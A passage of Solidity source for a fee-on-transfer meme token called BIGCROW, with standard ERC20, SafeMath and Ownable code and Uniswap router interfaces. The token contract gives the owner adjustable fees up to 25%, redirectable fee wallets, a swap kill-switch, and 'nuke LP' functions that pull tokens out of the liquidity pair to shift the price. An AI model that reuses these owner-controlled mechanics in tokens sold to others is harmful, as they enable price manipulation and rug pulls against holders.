function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BIGCROW is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 7200 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 5 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Big WISDOM", "BIGCROW") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 2;
uint256 _buyLiquidityFee = 1;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 3;
uint256 _sellLiquidityFee = 5;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 10 / 1000; // 1% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
